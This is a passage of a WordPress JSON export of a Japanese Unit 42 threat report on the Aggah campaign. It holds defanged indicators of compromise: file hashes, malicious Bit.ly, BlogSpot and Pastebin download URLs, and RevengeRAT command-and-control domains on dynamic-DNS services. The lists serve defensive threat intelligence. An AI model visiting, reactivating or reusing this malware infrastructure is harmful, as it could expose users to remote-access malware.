fa216d4c178c8ee669a83391fab0de98da24b27<\/li>\n<li>e1eb9daa5fb43b9f07e2b75f931a815fd5adf7e3f8d4f885740202af886402da<\/li>\n<li>08883b4d7081d51bb9d9429f856c7c4c95f47a22f38aeb48b7772635d718c7ca<\/li>\n<li>12a7ac8838681a95339e24683c0c8e6410a040a8a8ce5fe72bc175b724cb0aa9<\/li>\n<\/ul>\n<h4><strong>\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9URL<\/strong><\/h4>\n<ul>\n<li>www.bitly[.]com\/nliasjdASd1<\/li>\n<li>www.bitly[.]com\/nliasjdASd2<\/li>\n<li>www.bitly[.]com\/nliasjdASd3<\/li>\n<li>www.bitly[.]com\/nliasjdASd4<\/li>\n<li>www.bitly[.]com\/nliasjdASd5<\/li>\n<li>www.bitly[.]com\/nliasjdASd6<\/li>\n<li>www.bitly[.]com\/nliasjdASd7<\/li>\n<li>www.bitly[.]com\/nliasjdASd8<\/li>\n<li>www.bitly[.]com\/nliasjdASd9<\/li>\n<li>www.bitly[.]com\/nliasjdASd11<\/li>\n<li>www.bitly[.]com\/nliasjdASd12<\/li>\n<li>www.bitly[.]com\/nliasjdASd13<\/li>\n<li>www.bitly[.]com\/SexoPhone1<\/li>\n<li>www.bitly[.]com\/SexoPhone2<\/li>\n<li>www.bitly[.]com\/SexoPhone4<\/li>\n<li>www.bitly[.]com\/SmexEaldos1<\/li>\n<li>www.bitly[.]com\/SmexEaldos2<\/li>\n<li>www.bitly[.]com\/SmexEaldos3<\/li>\n<li>http:\/\/bitly[.]com\/SmexEaldos4<\/li>\n<li>www.bitly[.]com\/SmexEaldos5<\/li>\n<li>www.bitly[.]com\/SmexEaldos6<\/li>\n<li>www.bitly[.]com\/SmexEaldos7<\/li>\n<li>www.bitly[.]com\/SmexEaldos8<\/li>\n<li>www.bitly[.]com\/SmexEaldos9<\/li>\n<li>www.bitly[.]com\/SmexEaldos10<\/li>\n<li>www.bitly[.]com\/XAMSeWaWz<\/li>\n<li>www.bitly[.]com\/CAEanwQA<\/li>\n<li>www.bitly[.]com\/MinPoXAsUKx<\/li>\n<li>www.bitly[.]com\/MinPoXAs<\/li>\n<li>http:\/bitly[.]com\/chutter1<\/li>\n<li>www.bitly[.]com\/doc201901000791<\/li>\n<li>www.bitly[.]com\/doc201901000793<\/li>\n<li>www.bitly[.]com\/ASDAWnZqWas<\/li>\n<li>https:\/\/bjm9.blogspot[.]com<\/li>\n<li>emawattttson.blogspot[.]com<\/li>\n<li>https:\/\/treffictesgn.blogspot[.]com<\/li>\n<li>https:\/\/miganshumaratamoligossa.blogspot[.]com<\/li>\n<li>https:\/\/buydildoonline.blogspot[.]com<\/li>\n<li>https:\/\/pastebin[.]com\/raw\/2LDaeHE1<\/li>\n<li>http:\/\/pastebin[.]com\/raw\/YYZq1XR0<\/li>\n<li>https:\/\/pastebin[.]com\/raw\/tb5gHu2G<\/li>\n<li>http:\/\/pastebin[.]com\/raw\/0c9cC2iM<\/li>\n<li>http:\/\/pastebin[.]com\/raw\/sgawvit9<\/li>\n<\/ul>\n<p><strong>\u4ee5\u4e0b\u306e\u30a4\u30f3\u30b8\u30b1\u30fc\u30bf\u30fc\u304cRevengeRAT\u95a2\u9023\u3068\u3057\u3066\u7279\u5b9a\u3055\u308c\u307e\u3057\u305f\u304c\u3001RevengeRAT\u9650\u5b9a\u3067\u306f\u306a\u3044\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/strong><\/p>\n<ul>\n<li>frankmana.duckdns[.]org<\/li>\n<li>workfine11.duckdns[.]org<\/li>\n<li>oldmandnsch.duckdns[.]org<\/li>\n<li>oldmandnsch.duckdns[.]org<\/li>\n<li>blackhagga.duckdns[.]org<\/li>\n<li>skyrocket1.duckdns[.]org<\/li>\n<li>skyrocket1.duckdns[.]org<\/li>\n<li>kronoz.duckdns[.]org<\/li>\n<li>oldmandnsch.duckdns[.]org<\/li>\n<li>kronozzz2.duckdns[.]org<\/li>\n<li>lulla.duckdns[.]org<\/li>\n<li>decent.myvnc[.]com<\/li>\n<li>decent5.myvnc[.]com<\/li>\n<li>jayztools1.ddns[.]net<\/li>\n<li>jayztools2.ddns[.]net<\/li>\n<li>jayztools3.ddns[.]net<\/li>\n<li>totallol.duckdns[.]org<\/li>\n<li>totallol1.duckdns[.]org<\/li>\n<li>totallol2.duckdns[.]org<\/li>\n<li>totallol3.duckdns[.]org<\/li>\n<li>decent2.myvnc[.]com<\/li>\n<li>decent3.myvnc[.]com<\/li>\n<li>decent1.myvnc[.]com<\/li>\n<li>decent4.myvnc[.]com<\/li>\n<li>jordanchen736.sytes[.]net<\/li>\n<li>jordanchen7361.sytes[.]net<\/li>\n<li>jordanchen7362.sytes[.]net<\/li>\n<li>jordanchen7363.sytes[.]net<\/li>\n<li>lalacious1.serveftp[.]com<\/li>\n<li>lalacious2.serveftp[.]com<\/li>\n<li>lalacious3.serveftp[.]com<\/li>\n<li>lalacious4.serveftp[.]com<\/li>\n<li>mastermana1.serveirc[.]com<\/li>\n<li>mastermana2.serveirc[.]com<\/li>\n<li>mastermana3.serveirc[.]com<\/li>\n<li>mastermana4.serveirc[.]com<\/li>\n<li>mastermana5.serveirc[.]com<\/li>\n<li>lullikhao.ddns[.]net<\/li>\n<li>lullikhao1.ddns[.]net<\/li>\n<li>lullikhao2.ddns[.]net<\/li>\n<li>bullol.duckdns[.]org<\/li>\n<li>cocomo.ddns[.]net<\/li>\n<li>haggasinger2.ddns[.]net<\/li>\n<li>haggasinger.ddns[.]net<\/li>\n<li>haggasinger1.ddns[.]net<\/li>\n<li>loramer1.ddnsking[.]com<\/li>\n<li>easykill.servebeer[.]com<\/li>\n<li>easykill3.servebeer[.]com<\/li>\n<li>easykill2.servepics[.]com<\/li>\n<li>easykill1.servepics[.]com<\/li>\n<li>easykill3.servepics[.]com<\/li>\n<li>helloweenhagga.ddns[.]net<\/li>\n<li>helloweenhagga3.ddns[.]net<\/li>\n<li>helloweenhagga4.ddns[.]net<\/li>\n<li>helloweenhagga2.ddns[.]net<\/li>\n<li>revengerx211.sytes[.]net<\/li>\n<li>revengerx212.sytes[.]net<\/li>\n<li>revengerx213.sytes[.]net<\/li>\n<li>revengerx214.sytes[.]net<\/li>\n<li>revengerx215.sytes[.]net<\/li>\n<li>revengerx216.sytes[.]net<\/li>\n<li>revengerx217.sytes[.]net<\/li>\n<li>revengerx218.sytes[.]net<\/li>\n<li>revengerx219.sytes[.]net<\/li>\n<li>revengerx210.sytes[.]net<\/li>\n<li>office365update.duckdns[.]org<\/li>\n<li>systen32.ddns[.]net<\/li>\n<li>bhenchood.ddns[.]net<\/li>\n<li>emmanuelstevo.ddns[.]net<\/li>\n<li>zinderhola1.ddns[.]net<\/li>\n<li>zinderhola.ddns[.]net<\/li>\n<li>myownlogs.duckdns[.]org<\/li>\n<li>cocomo1.ddns[.]net<\/li>\n<li>cocomo10.serveblog[.]net<\/li>\n<li>cocomo2.ddns[.]net<\/li>\n<li>cocomo2.serveblog[.]net<\/li>\n<li>cocomo3.serveblog[.]net<\/li>\n<li>cocomo4.serveblog[.]net<\/li>\n<li>cocomo5.serveblog[.]net<\/li>\n<li>cocomo6.serveblog[.]net<\/li>\n<li>cocomo7.serveblog[.]net<\/li>\n<li>cocomo8.serveblog[.]net<\/li>\n<li>cocomo9.serveblog[.]net<\/li>\n<li>mrcode.hopto[.]org<\/li>\n<li>mrcode1.hopto[.]org<\/li>\n<li>mrcode2.hopto[.]org<\/li>\n<li>pussi2442.ddns[.]net<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 2019\u5e743\u6708\u3001Unit 42\u306f\u3001\u4e3b\u306b\u4e2d\u6771\u306e\u3042\u308b\u56fd\u306e\u7d44\u7e54\u306b\u7684\u3092\u7d5e\u3063\u3066\u3044\u308b\u3088\u3046\u306b\u307f\u3048\u305f\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u8abf\u3079\u59cb\u3081\u307e\u3057\u305f\u3002\u3055\u3089\u306a\u308b\u5206\u6790\u304b\u3089\u3001\u3053\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c\u3001\u305d\u306e\u5730\u57df\u3060\u3051\u3067\u306a\u304f\u3001\u7c73\u56fd\u3068\u6b27\u5dde\u304a\u3088\u3073\u30a2\u30b8\u30a2\u306e\u5168\u57df\u306b\u3082\u5f71\u97ff<\/p>\n","protected":false},"author":66,"featured_media":101443,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4321,1974,4428],"tags":[6731,6733,6734],"product_categories":[],"coauthors":[877,935],"class_list":["post-101401","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-threat-research","category-malware-ja","category-threat-research-ja","tag-aggah-ja","tag-revengerat-ja","tag-template-injection"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.0 (Yoast SEO v27.0) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Aggah\u30ad\u30e3\u30f3\u30da\u30fc\u30f3: \u5927\u898f\u6a21\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067C2\u7528\u306b\u4f7f\u7528\u3055\u308c\u305fBit.ly\u3001BlogSpot\u3001\u304a\u3088\u3073Pastebin<\/title>\n<meta name=\"description\" content=\"\u6982\u8981 2019\u5e743\u6708\u3001Unit\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Aggah\u30ad\u30e3\u30f3\u30da\u30fc\u30f3: \u5927\u898f\u6a21\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067C2\u7528\u306b\u4f7f\u7528\u3055\u308c\u305fBit.ly\u3001BlogSpot\u3001\u304a\u3088\u3073Pastebin\" \/>\n<meta property=\"og:description\" content=\"\u6982\u8981 2019\u5e743\u6708\u3001Unit\" \/>\n<meta property=\"og:url\" content=\"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/\" \/>\n<meta property=\"og:site_name\" content=\"Unit 42\" \/>\n<meta property=\"article:published_time\" content=\"2019-04-17T19:00:22+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2019-11-26T07:52:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/04\/Malicious-email-r3d1-900x450-1.png\" \/>\n\t<meta property=\"og:image:width\" content=\"900\" \/>\n\t<meta property=\"og:image:height\" content=\"450\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Brittany Barbehenn, Robert Falcone\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Aggah\u30ad\u30e3\u30f3\u30da\u30fc\u30f3: \u5927\u898f\u6a21\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067C2\u7528\u306b\u4f7f\u7528\u3055\u308c\u305fBit.ly\u3001BlogSpot\u3001\u304a\u3088\u3073Pastebin","description":"\u6982\u8981 2019\u5e743\u6708\u3001Unit","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/","og_locale":"ja_JP","og_type":"article","og_title":"Aggah\u30ad\u30e3\u30f3\u30da\u30fc\u30f3: \u5927\u898f\u6a21\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067C2\u7528\u306b\u4f7f\u7528\u3055\u308c\u305fBit.ly\u3001BlogSpot\u3001\u304a\u3088\u3073Pastebin","og_description":"\u6982\u8981 2019\u5e743\u6708\u3001Unit","og_url":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/","og_site_name":"Unit 42","article_published_time":"2019-04-17T19:00:22+00:00","article_modified_time":"2019-11-26T07:52:00+00:00","og_image":[{"width":900,"height":450,"url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/04\/Malicious-email-r3d1-900x450-1.png","type":"image\/png"}],"author":"Brittany Barbehenn, Robert Falcone","twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/#article","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/"},"author":{"name":"Brittany Barbehenn","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/8687cc354d422a442bab9b0575dcbb86"},"headline":"Aggah\u30ad\u30e3\u30f3\u30da\u30fc\u30f3: \u5927\u898f\u6a21\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067C2\u7528\u306b\u4f7f\u7528\u3055\u308c\u305fBit.ly\u3001BlogSpot\u3001\u304a\u3088\u3073Pastebin","datePublished":"2019-04-17T19:00:22+00:00","dateModified":"2019-11-26T07:52:00+00:00","mainEntityOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/"},"wordCount":2757,"commentCount":0,"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/#primaryimage"},"thumbnailUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/04\/Malicious-email-r3d1-900x450-1.png","keywords":["Aggah","RevengeRAT","Template Injection"],"articleSection":["Threat Research","\u30de\u30eb\u30a6\u30a7\u30a2","\u8105\u5a01\u30ea\u30b5\u30fc\u30c1"],"inLanguage":"ja","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/","url":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/","name":"Aggah\u30ad\u30e3\u30f3\u30da\u30fc\u30f3: \u5927\u898f\u6a21\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067C2\u7528\u306b\u4f7f\u7528\u3055\u308c\u305fBit.ly\u3001BlogSpot\u3001\u304a\u3088\u3073Pastebin","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/#primaryimage"},"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/#primaryimage"},"thumbnailUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/04\/Malicious-email-r3d1-900x450-1.png","datePublished":"2019-04-17T19:00:22+00:00","dateModified":"2019-11-26T07:52:00+00:00","author":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/8687cc354d422a442bab9b0575dcbb86"},"description":"\u6982\u8981 2019\u5e743\u6708\u3001Unit","breadcrumb":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/#breadcrumb"},"inLanguage":"ja","potentialAction":[{"@type":"ReadAction","target":["https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/"]}]},{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/#primaryimage","url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/04\/Malicious-email-r3d1-900x450-1.png","contentUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/04\/Malicious-email-r3d1-900x450-1.png","width":900,"height":450},{"@type":"BreadcrumbList","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/unit42.paloaltonetworks.com\/ja\/"},{"@type":"ListItem","position":2,"name":"Aggah\u30ad\u30e3\u30f3\u30da\u30fc\u30f3: \u5927\u898f\u6a21\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067C2\u7528\u306b\u4f7f\u7528\u3055\u308c\u305fBit.ly\u3001BlogSpot\u3001\u304a\u3088\u3073Pastebin"}]},{"@type":"WebSite","@id":"https:\/\/unit42.paloaltonetworks.com\/#website","url":"https:\/\/unit42.paloaltonetworks.com\/","name":"Unit 42","description":"Palo Alto Networks","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/unit42.paloaltonetworks.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"ja"},{"@type":"Person","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/8687cc354d422a442bab9b0575dcbb86","name":"Brittany Barbehenn","image":{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/image\/4ffb3c2d260a0150fb91b3715442f8b3","url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/11\/unit-news-meta.svg","contentUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/11\/unit-news-meta.svg","caption":"Brittany Barbehenn"},"url":"https:\/\/unit42.paloaltonetworks.com\/ja\/author\/brittany-ash\/"}]}},"_links":{"self":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/101401","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/users\/66"}],"replies":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/comments?post=101401"}],"version-history":[{"count":4,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/101401\/revisions"}],"predecessor-version":[{"id":101441,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/101401\/revisions\/101441"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/media\/101443"}],"wp:attachment":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/media?parent=101401"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/categories?post=101401"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/tags?post=101401"},{"taxonomy":"product_categories","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/product_categories?post=101401"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/coauthors?post=101401"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}